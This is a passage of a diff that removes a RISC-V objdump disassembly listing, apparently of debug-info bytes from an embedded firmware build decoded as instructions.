-    221a:	0100                	addi	s0,sp,128
-    221c:	5f9c                	lw	a5,56(a5)
-    221e:	0004                	0x4
-    2220:	0e00                	addi	s0,sp,784
-    2222:	00004d77          	0x4d77
-    2226:	3801                	jal	1a36 <__stack_size+0x1236>
-    2228:	00013e17          	auipc	t3,0x13
-    222c:	6600                	flw	fs0,8(a2)
-    222e:	0e00000f          	fence	ior,unknown
-    2232:	a299                	j	2378 <__stack_size+0x1b78>
-    2234:	0000                	unimp
-    2236:	3801                	jal	1a46 <__stack_size+0x1246>
-    2238:	3c21                	jal	1c50 <__stack_size+0x1450>
-    223a:	0000                	unimp
-    223c:	8700                	0x8700
-    223e:	0e00000f          	fence	ior,unknown
-    2242:	0000a317          	auipc	t1,0xa
-    2246:	3801                	jal	1a56 <__stack_size+0x1256>
-    2248:	3c2c                	fld	fa1,120(s0)
-    224a:	0000                	unimp
-    224c:	a800                	fsd	fs0,16(s0)
-    224e:	1400000f          	0x1400000f
-    2252:	2b64                	fld	fs1,208(a4)
-    2254:	2040                	fld	fs0,128(s0)
-    2256:	05a6                	slli	a1,a1,0x9
-    2258:	0000                	unimp
-    225a:	0115                	addi	sp,sp,5
-    225c:	035a                	slli	t1,t1,0x16
-    225e:	155a01f3          	0x155a01f3
-    2262:	5b01                	li	s6,-32
-    2264:	0305                	addi	t1,t1,1
-    2266:	5a54                	lw	a3,52(a2)
-    2268:	2040                	fld	fs0,128(s0)
-    226a:	0000                	unimp
-    226c:	240d                	jal	248e <__stack_size+0x1c8e>
-    226e:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
-    2272:	0531                	addi	a0,a0,12
-    2274:	003c                	addi	a5,sp,8
-    2276:	0000                	unimp
-    2278:	2b50                	fld	fa2,144(a4)
-    227a:	2040                	fld	fs0,128(s0)
-    227c:	0004                	0x4
-    227e:	0000                	unimp
-    2280:	9c01                	0x9c01
-    2282:	04a6                	slli	s1,s1,0x9
-    2284:	0000                	unimp
-    2286:	9f0e                	add	t5,t5,gp
-    2288:	00a2                	slli	ra,ra,0x8
-    228a:	0100                	addi	s0,sp,128
-    228c:	1031                	c.nop	-20
-    228e:	003c                	addi	a5,sp,8
-    2290:	0000                	unimp
-    2292:	0fc9                	addi	t6,t6,18
-    2294:	0000                	unimp
-    2296:	72747017          	auipc	zero,0x72747
-    229a:	0100                	addi	s0,sp,128
-    229c:	1c31                	addi	s8,s8,-20
-    229e:	01c0                	addi	s0,sp,196
-    22a0:	0000                	unimp
-    22a2:	5b01                	li	s6,-32
-    22a4:	72696417          	auipc	s0,0x72696
-    22a8:	0100                	addi	s0,sp,128
-    22aa:	2531                	jal	28b6 <__stack_size+0x20b6>
-    22ac:	003c                	addi	a5,sp,8
-    22ae:	0000                	unimp
-    22b0:	5c01                	li	s8,-32
-    22b2:	0d00                	addi	s0,sp,656
-    22b4:	0000a247          	fmsub.s	ft4,ft1,ft0,ft0,rdn
-    22b8:	2901                	jal	26c8 <__stack_size+0x1ec8>
-    22ba:	3c05                	jal	1cea <__stack_size+0x14ea>
-    22bc:	0000                	unimp
-    22be:	4a00                	lw	s0,16(a2)
-    22c0:	0620402b          	0x620402b
-    22c4:	0000                	unimp
-    22c6:	0100                	addi	s0,sp,128
-    22c8:	d19c                	sw	a5,32(a1)
-    22ca:	0004                	0x4
-    22cc:	0e00                	addi	s0,sp,784
-    22ce:	a29f 0000 2901      	0x29010000a29f
-    22d4:	3c11                	jal	1ce8 <__stack_size+0x14e8>
-    22d6:	0000                	unimp
-    22d8:	ea00                	fsw	fs0,16(a2)
-    22da:	0000000f          	fence	unknown,unknown
-    22de:	bf0d                	j	2210 <__stack_size+0x1a10>
-    22e0:	00a2                	slli	ra,ra,0x8
-    22e2:	0100                	addi	s0,sp,128
-    22e4:	081a                	slli	a6,a6,0x6
-    22e6:	011e                	slli	sp,sp,0x7
-    22e8:	0000                	unimp
-    22ea:	2b28                	fld	fa0,80(a4)
-    22ec:	2040                	fld	fs0,128(s0)
-    22ee:	0022                	c.slli	zero,0x8
-    22f0:	0000                	unimp
-    22f2:	9c01                	0x9c01
-    22f4:	0526                	slli	a0,a0,0x9
-    22f6:	0000                	unimp
-    22f8:	dc0e                	sw	gp,56(sp)
-    22fa:	00a2                	slli	ra,ra,0x8
-    22fc:	0100                	addi	s0,sp,128
-    22fe:	121a                	slli	tp,tp,0x26
-    2300:	003c                	addi	a5,sp,8
-    2302:	0000                	unimp
-    2304:	0000100b          	0x100b
-    2308:	2b18                	fld	fa4,16(a4)
-    230a:	00a2                	slli	ra,ra,0x8
-    230c:	0100                	addi	s0,sp,128
-    230e:	0e1d                	addi	t3,t3,7
-    2310:	0526                	slli	a0,a0,0x9
-    2312:	0000                	unimp
-    2314:	2618                	fld	fa4,8(a2)
-    2316:	00a2                	slli	ra,ra,0x8
-    2318:	0100                	addi	s0,sp,128
-    231a:	0e1e                	slli	t3,t3,0x7
-    231c:	0526                	slli	a0,a0,0x9
-    231e:	0000                	unimp
-    2320:	cd19                	beqz	a0,233e <__stack_size+0x1b3e>
-    2322:	00a2                	slli	ra,ra,0x8
-    2324:	0100                	addi	s0,sp,128
-    2326:	0f1f 012c 0000      	0x12c0f1f
-    232c:	0305                	addi	t1,t1,1
-    232e:	d878                	sw	a4,116(s0)
-    2330:	8000                	0x8000
-    2332:	0b00                	addi	s0,sp,400
-    2334:	0132                	slli	sp,sp,0xc
-    2336:	0000                	unimp
-    2338:	0531                	addi	a0,a0,12
-    233a:	0000                	unimp
-    233c:	001a                	c.slli	zero,0x6
-    233e:	ff0d                	bnez	a4,2278 <__stack_size+0x1a78>
-    2340:	00a2                	slli	ra,ra,0x8
-    2342:	0100                	addi	s0,sp,128
-    2344:	0512                	slli	a0,a0,0x4
-    2346:	003c                	addi	a5,sp,8
-    2348:	0000                	unimp
-    234a:	2b20                	fld	fs0,80(a4)
-    234c:	2040                	fld	fs0,128(s0)
-    234e:	0008                	0x8
-    2350:	0000                	unimp
-    2352:	9c01                	0x9c01
-    2354:	0569                	addi	a0,a0,26
-    2356:	0000                	unimp
-    2358:	9f0e                	add	t5,t5,gp
-    235a:	00a2                	slli	ra,ra,0x8
-    235c:	0100                	addi	s0,sp,128
-    235e:	1012                	c.slli	zero,0x24
-    2360:	003c                	addi	a5,sp,8
-    2362:	0000                	unimp
-    2364:	00001037          	lui	zero,0x1
-    2368:	00747317          	auipc	t1,0x747
-    236c:	1201                	addi	tp,tp,-32
-    236e:	00056923          	0x56923
-    2372:	0100                	addi	s0,sp,128
-    2374:	0406005b          	0x406005b
-    2378:	0214                	addi	a3,sp,256
-    237a:	0000                	unimp
-    237c:	6d0d                	lui	s10,0x3
-    237e:	00a2                	slli	ra,ra,0x8
-    2380:	0100                	addi	s0,sp,128
-    2382:	003c050b          	0x3c050b
-    2386:	0000                	unimp
-    2388:	2b1c                	fld	fa5,16(a4)
-    238a:	2040                	fld	fs0,128(s0)
-    238c:	0004                	0x4
-    238e:	0000                	unimp
-    2390:	9c01                	0x9c01
-    2392:	059a                	slli	a1,a1,0x6
-    2394:	0000                	unimp
-    2396:	9f0e                	add	t5,t5,gp
-    2398:	00a2                	slli	ra,ra,0x8
-    239a:	0100                	addi	s0,sp,128
-    239c:	003c100b          	0x3c100b
-    23a0:	0000                	unimp
-    23a2:	1058                	addi	a4,sp,36
-    23a4:	0000                	unimp
-    23a6:	1b00                	addi	s0,sp,432
-    23a8:	a248                	fsd	fa0,128(a2)
-    23aa:	0000                	unimp
-    23ac:	a248                	fsd	fa0,128(a2)
-    23ae:	0000                	unimp
-    23b0:	960a                	add	a2,a2,sp
-    23b2:	1b09                	addi	s6,s6,-30
-    23b4:	9d6c                	0x9d6c
-    23b6:	0000                	unimp
-    23b8:	9d6c                	0x9d6c
-    23ba:	0000                	unimp
-    23bc:	0006240b          	0x6240b
-    23c0:	01a8                	addi	a0,sp,200
-    23c2:	0000                	unimp
-    23c4:	0004                	0x4
-    23c6:	00000473          	0x473
-    23ca:	0104                	addi	s1,sp,128
-    23cc:	a42a                	fsd	fa0,8(sp)
-    23ce:	0000                	unimp
-    23d0:	4d0c                	lw	a1,24(a0)
-    23d2:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    23d6:	140000a3          	sb	zero,321(zero) # 141 <__stack_size-0x6bf>
-    23da:	402c                	lw	a1,64(s0)
-    23dc:	2a20                	fld	fs0,80(a2)
-    23de:	0000                	unimp
-    23e0:	3500                	fld	fs0,40(a0)
-    23e2:	0200002f          	0x200002f
-    23e6:	0708                	addi	a0,sp,896
-    23e8:	06a1                	addi	a3,a3,8
-    23ea:	0000                	unimp
-    23ec:	69050403          	lb	s0,1680(a0)
-    23f0:	746e                	flw	fs0,248(sp)
-    23f2:	0200                	addi	s0,sp,256
-    23f4:	0704                	addi	s1,sp,896
-    23f6:	7164                	flw	fs1,100(a0)
-    23f8:	0000                	unimp
-    23fa:	0802                	c.slli64	a6
-    23fc:	e405                	bnez	s0,2424 <__stack_size+0x1c24>
-    23fe:	0200008f          	0x200008f
-    2402:	0410                	addi	a2,sp,512
-    2404:	9196                	add	gp,gp,t0
-    2406:	0000                	unimp
-    2408:	0102                	c.slli64	sp
-    240a:	ea06                	fsw	ft1,20(sp)
-    240c:	007e                	c.slli	zero,0x1f
-    240e:	0200                	addi	s0,sp,256
-    2410:	0801                	addi	a6,a6,0
-    2412:	1439                	addi	s0,s0,-18
-    2414:	0000                	unimp
-    2416:	0202                	c.slli64	tp
-    2418:	5405                	li	s0,-31
-    241a:	02000037          	lui	zero,0x2000
-    241e:	0702                	c.slli64	a4
-    2420:	9b7a                	add	s6,s6,t5
-    2422:	0000                	unimp
-    2424:	0402                	c.slli64	s0
-    2426:	5c05                	li	s8,-31
-    2428:	0050                	addi	a2,sp,4
-    242a:	0200                	addi	s0,sp,256
-    242c:	0704                	addi	s1,sp,896
-    242e:	6514                	flw	fa3,8(a0)
-    2430:	0000                	unimp
-    2432:	0102                	c.slli64	sp
-    2434:	f108                	fsw	fa0,32(a0)
-    2436:	007e                	c.slli	zero,0x1f
-    2438:	0400                	addi	s0,sp,512
-    243a:	0000a387          	flw	ft7,0(ra)
-    243e:	8002                	0x8002
-    2440:	00002c0f          	0x2c0f
-    2444:	0400                	addi	s0,sp,512
-    2446:	a386                	fsd	ft1,448(sp)
-    2448:	0000                	unimp
-    244a:	8102                	jr	sp
-    244c:	3316                	fld	ft6,352(sp)
-    244e:	0000                	unimp
-    2450:	0500                	addi	s0,sp,640
-    2452:	0085                	addi	ra,ra,1
-    2454:	0000                	unimp
-    2456:	df04                	sw	s1,56(a4)
-    2458:	00a5                	addi	ra,ra,9
-    245a:	0200                	addi	s0,sp,256
-    245c:	0f84                	addi	s1,sp,976
-    245e:	003a                	c.slli	zero,0xe
-    2460:	0000                	unimp
-    2462:	0402                	c.slli64	s0
-    2464:	1504                	addi	s1,sp,672
-    2466:	00a4                	addi	s1,sp,72
-    2468:	0200                	addi	s0,sp,256
-    246a:	0308                	addi	a0,sp,384
-    246c:	a40d                	j	268e <__stack_size+0x1e8e>
-    246e:	0000                	unimp
-    2470:	0802                	c.slli64	a6
-    2472:	9b04                	0x9b04
-    2474:	0091                	addi	ra,ra,4
-    2476:	0200                	addi	s0,sp,256
-    2478:	0310                	addi	a2,sp,384
-    247a:	0000a41b          	0xa41b
-    247e:	2002                	fld	ft0,0(sp)
-    2480:	00a3f903          	0xa3f903
-    2484:	0400                	addi	s0,sp,512
-    2486:	a4cd                	j	2768 <__stack_size+0x1f68>
-    2488:	0000                	unimp
-    248a:	a402                	fsd	ft0,8(sp)
-    248c:	2c0d                	jal	26be <__stack_size+0x1ebe>
-    248e:	0000                	unimp
-    2490:	0500                	addi	s0,sp,640
-    2492:	00c5                	addi	ra,ra,17
-    2494:	0000                	unimp
-    2496:	4406                	lw	s0,64(sp)
-    2498:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
-    249c:	ed02                	fsw	ft0,152(sp)
-    249e:	0a01                	addi	s4,s4,0
-    24a0:	0101                	addi	sp,sp,0
-    24a2:	0000                	unimp
-    24a4:	776f6c07          	0x776f6c07
-    24a8:	0200                	addi	s0,sp,256
-    24aa:	01ed                	addi	gp,gp,27
-    24ac:	791a                	flw	fs2,164(sp)
-    24ae:	0000                	unimp
-    24b0:	0000                	unimp
-    24b2:	7908                	flw	fa0,48(a0)
-    24b4:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    24b8:	01ed                	addi	gp,gp,27
-    24ba:	791f 0000 0400      	0x4000000791f
-    24c0:	0900                	addi	s0,sp,144
-    24c2:	0208                	addi	a0,sp,256
-    24c4:	01f4                	addi	a3,sp,204
-    24c6:	2309                	jal	29c8 <__stack_size+0x21c8>
-    24c8:	0001                	nop
-    24ca:	0a00                	addi	s0,sp,272
-    24cc:	f6020073          	0xf6020073
-    24d0:	1301                	addi	t1,t1,-32
-    24d2:	00d6                	slli	ra,ra,0x15
-    24d4:	0000                	unimp
-    24d6:	6c0a                	flw	fs8,128(sp)
-    24d8:	006c                	addi	a1,sp,12
-    24da:	f702                	fsw	ft0,172(sp)
-    24dc:	0a01                	addi	s4,s4,0
-    24de:	0096                	slli	ra,ra,0x5
-    24e0:	0000                	unimp
-    24e2:	0b00                	addi	s0,sp,400
-    24e4:	a3f1                	j	2ab0 <__stack_size+0x22b0>
-    24e6:	0000                	unimp
-    24e8:	f802                	fsw	ft0,48(sp)
-    24ea:	0301                	addi	t1,t1,0
-    24ec:	0101                	addi	sp,sp,0
-    24ee:	0000                	unimp
-    24f0:	2305                	jal	2a10 <__stack_size+0x2210>
-    24f2:	0001                	nop
-    24f4:	0c00                	addi	s0,sp,528
-    24f6:	847a                	mv	s0,t5
-    24f8:	0000                	unimp
-    24fa:	9401                	srai	s0,s0,0x20
-    24fc:	0101                	addi	sp,sp,0
-    24fe:	0096                	slli	ra,ra,0x5
-    2500:	0000                	unimp
-    2502:	2c14                	fld	fa3,24(s0)
-    2504:	2040                	fld	fs0,128(s0)
-    2506:	002a                	c.slli	zero,0xa
-    2508:	0000                	unimp
-    250a:	9c01                	0x9c01
-    250c:	750d                	lui	a0,0xfffe3
-    250e:	0100                	addi	s0,sp,128
-    2510:	0194                	addi	a3,sp,192
-    2512:	00009613          	slli	a2,ra,0x0
-    2516:	7900                	flw	fs0,48(a0)
-    2518:	0010                	0x10
-    251a:	0e00                	addi	s0,sp,784
-    251c:	0062                	c.slli	zero,0x18
-    251e:	9401                	srai	s0,s0,0x20
-    2520:	2701                	jal	2c20 <__stack_size+0x2420>
-    2522:	00c5                	addi	ra,ra,17
-    2524:	0000                	unimp
-    2526:	5c01                	li	s8,-32
-    2528:	0075750f          	0x75750f
-    252c:	9901                	andi	a0,a0,-32
-    252e:	1101                	addi	sp,sp,-32
-    2530:	0130                	addi	a2,sp,136
-    2532:	0000                	unimp
-    2534:	6210                	flw	fa2,0(a2)
-    2536:	006d                	c.nop	27
-    2538:	9a01                	andi	a2,a2,-32
-    253a:	1a01                	addi	s4,s4,-32
-    253c:	00d1                	addi	ra,ra,20
-    253e:	0000                	unimp
-    2540:	10c1                	addi	ra,ra,-16
-    2542:	0000                	unimp
-    2544:	0100770f          	0x100770f
-    2548:	230b019b          	0x230b019b
-    254c:	0001                	nop
-    254e:	1100                	addi	s0,sp,160
-    2550:	2c2e                	fld	fs8,200(sp)
-    2552:	2040                	fld	fs0,128(s0)
-    2554:	0010                	0x10
-    2556:	0000                	unimp
-    2558:	7e12                	flw	ft8,36(sp)
-    255a:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
-    255e:	01a4                	addi	s1,sp,200
-    2560:	9114                	0x9114
-    2562:	0000                	unimp
-    2564:	df00                	sw	s0,56(a4)
-    2566:	0010                	0x10
-    2568:	0000                	unimp
-    256a:	0000                	unimp
-    256c:	07ae                	slli	a5,a5,0xb
-    256e:	0000                	unimp
-    2570:	0004                	0x4
-    2572:	0000058b          	0x58b
-    2576:	0104                	addi	s1,sp,128
-    2578:	a4de                	fsd	fs7,72(sp)
-    257a:	0000                	unimp
-    257c:	4d0c                	lw	a1,24(a0)
-    257e:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    2582:	3e0000a3          	sb	zero,993(zero) # 3e1 <__stack_size-0x41f>
-    2586:	402c                	lw	a1,64(s0)
-    2588:	6020                	flw	fs0,64(s0)
-    258a:	62000003          	lb	zero,1568(zero) # 620 <__stack_size-0x1e0>
-    258e:	0030                	addi	a2,sp,8
-    2590:	0200                	addi	s0,sp,256
-    2592:	0708                	addi	a0,sp,896
-    2594:	06a1                	addi	a3,a3,8
-    2596:	0000                	unimp
-    2598:	0402                	c.slli64	s0
-    259a:	00716407          	0x716407
-    259e:	0300                	addi	s0,sp,384
-    25a0:	0504                	addi	s1,sp,640
-    25a2:	6e69                	lui	t3,0x1a
-    25a4:	0074                	addi	a3,sp,12
-    25a6:	0802                	c.slli64	a6
-    25a8:	e405                	bnez	s0,25d0 <__stack_size+0x1dd0>
-    25aa:	0200008f          	0x200008f
-    25ae:	0410                	addi	a2,sp,512
-    25b0:	9196                	add	gp,gp,t0
-    25b2:	0000                	unimp
-    25b4:	0102                	c.slli64	sp
-    25b6:	ea06                	fsw	ft1,20(sp)
-    25b8:	007e                	c.slli	zero,0x1f
-    25ba:	0200                	addi	s0,sp,256
-    25bc:	0801                	addi	a6,a6,0
-    25be:	1439                	addi	s0,s0,-18
-    25c0:	0000                	unimp
-    25c2:	0202                	c.slli64	tp
-    25c4:	5405                	li	s0,-31
-    25c6:	02000037          	lui	zero,0x2000
-    25ca:	0702                	c.slli64	a4
-    25cc:	9b7a                	add	s6,s6,t5
-    25ce:	0000                	unimp
-    25d0:	0402                	c.slli64	s0
-    25d2:	5c05                	li	s8,-31
-    25d4:	0050                	addi	a2,sp,4
-    25d6:	0200                	addi	s0,sp,256
-    25d8:	0704                	addi	s1,sp,896
-    25da:	6514                	flw	fa3,8(a0)
-    25dc:	0000                	unimp
-    25de:	0102                	c.slli64	sp
-    25e0:	f108                	fsw	fa0,32(a0)
-    25e2:	007e                	c.slli	zero,0x1f
-    25e4:	0400                	addi	s0,sp,512
-    25e6:	a5d6                	fsd	fs5,200(sp)
-    25e8:	0000                	unimp
-    25ea:	7b02                	flw	fs6,32(sp)
-    25ec:	4f16                	lw	t5,68(sp)
-    25ee:	0000                	unimp
-    25f0:	0500                	addi	s0,sp,640
-    25f2:	0079                	c.nop	30
-    25f4:	0000                	unimp
-    25f6:	8704                	0x8704
-    25f8:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    25fc:	0f80                	addi	s0,sp,976
-    25fe:	00000033          	add	zero,zero,zero
-    2602:	8604                	0x8604
-    2604:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    2608:	1681                	addi	a3,a3,-32
-    260a:	002c                	addi	a1,sp,8
-    260c:	0000                	unimp
-    260e:	df04                	sw	s1,56(a4)
-    2610:	00a5                	addi	ra,ra,9
-    2612:	0200                	addi	s0,sp,256
-    2614:	0f84                	addi	s1,sp,976
-    2616:	003a                	c.slli	zero,0xe
-    2618:	0000                	unimp
-    261a:	de04                	sw	s1,56(a2)
-    261c:	00a5                	addi	ra,ra,9
-    261e:	0200                	addi	s0,sp,256
-    2620:	1685                	addi	a3,a3,-31
-    2622:	0025                	c.nop	9
-    2624:	0000                	unimp
-    2626:	0402                	c.slli64	s0
-    2628:	1504                	addi	s1,sp,672
-    262a:	00a4                	addi	s1,sp,72
-    262c:	0200                	addi	s0,sp,256
-    262e:	0308                	addi	a0,sp,384
-    2630:	a40d                	j	2852 <__stack_size+0x2052>
-    2632:	0000                	unimp
-    2634:	0802                	c.slli64	a6
-    2636:	9b04                	0x9b04
-    2638:	0091                	addi	ra,ra,4
-    263a:	0200                	addi	s0,sp,256
-    263c:	0310                	addi	a2,sp,384
-    263e:	0000a41b          	0xa41b
-    2642:	2002                	fld	ft0,0(sp)
-    2644:	00a3f903          	0xa3f903
-    2648:	0600                	addi	s0,sp,768
-    264a:	a344                	fsd	fs1,128(a4)
-    264c:	0000                	unimp
-    264e:	0208                	addi	a0,sp,256
-    2650:	01ed                	addi	gp,gp,27
-    2652:	080a                	slli	a6,a6,0x2
-    2654:	0001                	nop
-    2656:	0700                	addi	s0,sp,896
-    2658:	6f6c                	flw	fa1,92(a4)
-    265a:	ed020077          	0xed020077
-    265e:	1a01                	addi	s4,s4,-32
-    2660:	008a                	slli	ra,ra,0x2
-    2662:	0000                	unimp
-    2664:	0800                	addi	s0,sp,16
-    2666:	a379                	j	2bf4 <__stack_size+0x23f4>
-    2668:	0000                	unimp
-    266a:	ed02                	fsw	ft0,152(sp)
-    266c:	1f01                	addi	t5,t5,-32
-    266e:	008a                	slli	ra,ra,0x2
-    2670:	0000                	unimp
-    2672:	0004                	0x4
-    2674:	0809                	addi	a6,a6,2
-    2676:	f402                	fsw	ft0,40(sp)
-    2678:	0901                	addi	s2,s2,0
-    267a:	012a                	slli	sp,sp,0xa
-    267c:	0000                	unimp
-    267e:	730a                	flw	ft6,160(sp)
-    2680:	0200                	addi	s0,sp,256
-    2682:	01f6                	slli	gp,gp,0x1d
-    2684:	0000dd13          	srli	s10,ra,0x0
-    2688:	0a00                	addi	s0,sp,272
-    268a:	6c6c                	flw	fa1,92(s0)
-    268c:	0200                	addi	s0,sp,256
-    268e:	a20a01f7          	0xa20a01f7
-    2692:	0000                	unimp
-    2694:	0000                	unimp
-    2696:	00a3f10b          	0xa3f10b
-    269a:	0200                	addi	s0,sp,256
-    269c:	01f8                	addi	a4,sp,204
-    269e:	00010803          	lb	a6,0(sp)
-    26a2:	0500                	addi	s0,sp,640
-    26a4:	012a                	slli	sp,sp,0xa
-    26a6:	0000                	unimp
-    26a8:	850c                	0x850c
-    26aa:	0000                	unimp
-    26ac:	4c00                	lw	s0,24(s0)
-    26ae:	0001                	nop
-    26b0:	0d00                	addi	s0,sp,656
-    26b2:	002c                	addi	a1,sp,8
-    26b4:	0000                	unimp
-    26b6:	00ff                	0xff
-    26b8:	3c05                	jal	20e8 <__stack_size+0x18e8>
-    26ba:	0001                	nop
-    26bc:	0e00                	addi	s0,sp,784
-    26be:	a5b8                	fsd	fa4,72(a1)
-    26c0:	0000                	unimp
-    26c2:	0202                	c.slli64	tp
-    26c4:	1602                	slli	a2,a2,0x20
-    26c6:	014c                	addi	a1,sp,132
-    26c8:	0000                	unimp
-    26ca:	0005430f          	0x5430f
-    26ce:	0100                	addi	s0,sp,128
-    26d0:	0526                	slli	a0,a0,0x9
-    26d2:	ae01                	j	29e2 <__stack_size+0x21e2>
-    26d4:	0000                	unimp
-    26d6:	3e00                	fld	fs0,56(a2)
-    26d8:	402c                	lw	a1,64(s0)
-    26da:	6020                	flw	fs0,64(s0)
-    26dc:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    26e0:	3a9c                	fld	fa5,48(a3)
-    26e2:	0004                	0x4
-    26e4:	1000                	addi	s0,sp,32
-    26e6:	006e                	c.slli	zero,0x1b
-    26e8:	2601                	jal	29e8 <__stack_size+0x21e8>
-    26ea:	1405                	addi	s0,s0,-31
-    26ec:	00ae                	slli	ra,ra,0xb
-    26ee:	0000                	unimp
-    26f0:	000010f7          	0x10f7
-    26f4:	6410                	flw	fa2,8(s0)
-    26f6:	0100                	addi	s0,sp,128
-    26f8:	0526                	slli	a0,a0,0x9
-    26fa:	ae1f 0000 1f00      	0x1f000000ae1f
-    2700:	0011                	c.nop	4
-    2702:	1100                	addi	s0,sp,160
-    2704:	043a                	slli	s0,s0,0xe
-    2706:	0000                	unimp
-    2708:	2c40                	fld	fs0,152(s0)
-    270a:	2040                	fld	fs0,128(s0)
-    270c:	0370                	addi	a2,sp,396
-    270e:	0000                	unimp
-    2710:	2801                	jal	2720 <__stack_size+0x1f20>
-    2712:	0a05                	addi	s4,s4,1
-    2714:	6212                	flw	ft4,4(sp)
-    2716:	0004                	0x4
-    2718:	b700                	fsd	fs0,40(a4)
-    271a:	0011                	c.nop	4
-    271c:	1200                	addi	s0,sp,288
-    271e:	00000457          	0x457
-    2722:	000011d7          	0x11d7
-    2726:	4c12                	lw	s8,4(sp)
-    2728:	0004                	0x4
-    272a:	8f00                	0x8f00
-    272c:	0012                	c.slli	zero,0x4
-    272e:	1300                	addi	s0,sp,416
-    2730:	0370                	addi	a2,sp,396
-    2732:	0000                	unimp
-    2734:	6e14                	flw	fa3,24(a2)
-    2736:	0004                	0x4
-    2738:	1400                	addi	s0,sp,544
-    273a:	047a                	slli	s0,s0,0x1e
-    273c:	0000                	unimp
-    273e:	8614                	0x8614
-    2740:	0004                	0x4
-    2742:	1500                	addi	s0,sp,672
-    2744:	0492                	slli	s1,s1,0x4
-    2746:	0000                	unimp
-    2748:	00001367          	0x1367
-    274c:	9e15                	0x9e15
-    274e:	0004                	0x4
-    2750:	0d00                	addi	s0,sp,656
-    2752:	0014                	0x14
-    2754:	1500                	addi	s0,sp,672
-    2756:	04aa                	slli	s1,s1,0xa
-    2758:	0000                	unimp
-    275a:	1499                	addi	s1,s1,-26
-    275c:	0000                	unimp
-    275e:	b615                	j	2282 <__stack_size+0x1a82>
-    2760:	0004                	0x4
-    2762:	0900                	addi	s0,sp,144
-    2764:	0015                	c.nop	5
-    2766:	1500                	addi	s0,sp,672
-    2768:	04c2                	slli	s1,s1,0x10
-    276a:	0000                	unimp
-    276c:	15c1                	addi	a1,a1,-16
-    276e:	0000                	unimp
-    2770:	ce15                	beqz	a2,27ac <__stack_size+0x1fac>
-    2772:	0004                	0x4
-    2774:	df00                	sw	s0,56(a4)
-    2776:	0015                	c.nop	5
-    2778:	1500                	addi	s0,sp,672
-    277a:	04da                	slli	s1,s1,0x16
-    277c:	0000                	unimp
-    277e:	15fd                	addi	a1,a1,-1
-    2780:	0000                	unimp
-    2782:	e615                	bnez	a2,27ae <__stack_size+0x1fae>
-    2784:	0004                	0x4
-    2786:	2700                	fld	fs0,8(a4)
-    2788:	0016                	c.slli	zero,0x5
-    278a:	1500                	addi	s0,sp,672
-    278c:	04f1                	addi	s1,s1,28
-    278e:	0000                	unimp
-    2790:	1645                	addi	a2,a2,-15
-    2792:	0000                	unimp
-    2794:	fd14                	fsw	fa3,56(a0)
-    2796:	0004                	0x4
-    2798:	1600                	addi	s0,sp,800
-    279a:	0509                	addi	a0,a0,2
-    279c:	0000                	unimp
-    279e:	0398                	addi	a4,sp,448
-    27a0:	0000                	unimp
-    27a2:	024d                	addi	tp,tp,19
-    27a4:	0000                	unimp
-    27a6:	0e15                	addi	t3,t3,5
-    27a8:	0005                	c.nop	1
-    27aa:	8400                	0x8400
-    27ac:	0016                	c.slli	zero,0x5
-    27ae:	1500                	addi	s0,sp,672
-    27b0:	0000051b          	0x51b
-    27b4:	16c0                	addi	s0,sp,868
-    27b6:	0000                	unimp
-    27b8:	1700                	addi	s0,sp,928
-    27ba:	0529                	addi	a0,a0,10
-    27bc:	0000                	unimp
-    27be:	2c92                	fld	fs9,256(sp)
-    27c0:	2040                	fld	fs0,128(s0)
-    27c2:	006e                	c.slli	zero,0x1b
-    27c4:	0000                	unimp
-    27c6:	029e                	slli	t0,t0,0x7
-    27c8:	0000                	unimp
-    27ca:	2e15                	jal	2afe <__stack_size+0x22fe>
-    27cc:	0005                	c.nop	1
-    27ce:	d300                	sw	s0,32(a4)
-    27d0:	0016                	c.slli	zero,0x5
-    27d2:	1500                	addi	s0,sp,672
-    27d4:	0000053b          	0x53b
-    27d8:	16e6                	slli	a3,a3,0x39
-    27da:	0000                	unimp
-    27dc:	4815                	li	a6,5
-    27de:	0005                	c.nop	1
-    27e0:	0a00                	addi	s0,sp,272
-    27e2:	15000017          	auipc	zero,0x15000
-    27e6:	0555                	addi	a0,a0,21
-    27e8:	0000                	unimp
-    27ea:	1728                	addi	a0,sp,936
-    27ec:	0000                	unimp
-    27ee:	6215                	lui	tp,0x5
-    27f0:	0005                	c.nop	1
-    27f2:	4600                	lw	s0,8(a2)
-    27f4:	15000017          	auipc	zero,0x15000
-    27f8:	0000056f          	jal	a0,27f8 <__stack_size+0x1ff8>
-    27fc:	1781                	addi	a5,a5,-32
-    27fe:	0000                	unimp
-    2800:	7c15                	lui	s8,0xfffe5
-    2802:	0005                	c.nop	1
-    2804:	9f00                	0x9f00
-    2806:	00000017          	auipc	zero,0x0
-    280a:	9f16                	add	t5,t5,t0
-    280c:	0006                	c.slli	zero,0x1
-    280e:	b000                	fsd	fs0,32(s0)
-    2810:	5d000003          	lb	zero,1488(zero) # 5d0 <__stack_size-0x230>
-    2814:	15000003          	lb	zero,336(zero) # 150 <__stack_size-0x6b0>
-    2818:	06a0                	addi	s0,sp,840
-    281a:	0000                	unimp
-    281c:	17bd                	addi	a5,a5,-17
-    281e:	0000                	unimp
-    2820:	ac15                	j	2a54 <__stack_size+0x2254>
-    2822:	0006                	c.slli	zero,0x1
-    2824:	d000                	sw	s0,32(s0)
-    2826:	16000017          	auipc	zero,0x16000
-    282a:	06b8                	addi	a4,sp,840
-    282c:	0000                	unimp
-    282e:	03c8                	addi	a0,sp,452
-    2830:	0000                	unimp
-    2832:	030a                	slli	t1,t1,0x2
-    2834:	0000                	unimp
-    2836:	bd15                	j	266a <__stack_size+0x1e6a>
-    2838:	0006                	c.slli	zero,0x1
-    283a:	1100                	addi	s0,sp,160
-    283c:	0018                	0x18
-    283e:	1500                	addi	s0,sp,672
-    2840:	06ca                	slli	a3,a3,0x12
-    2842:	0000                	unimp
-    2844:	00001833          	sll	a6,zero,zero
-    2848:	d715                	beqz	a4,2774 <__stack_size+0x1f74>
-    284a:	0006                	c.slli	zero,0x1
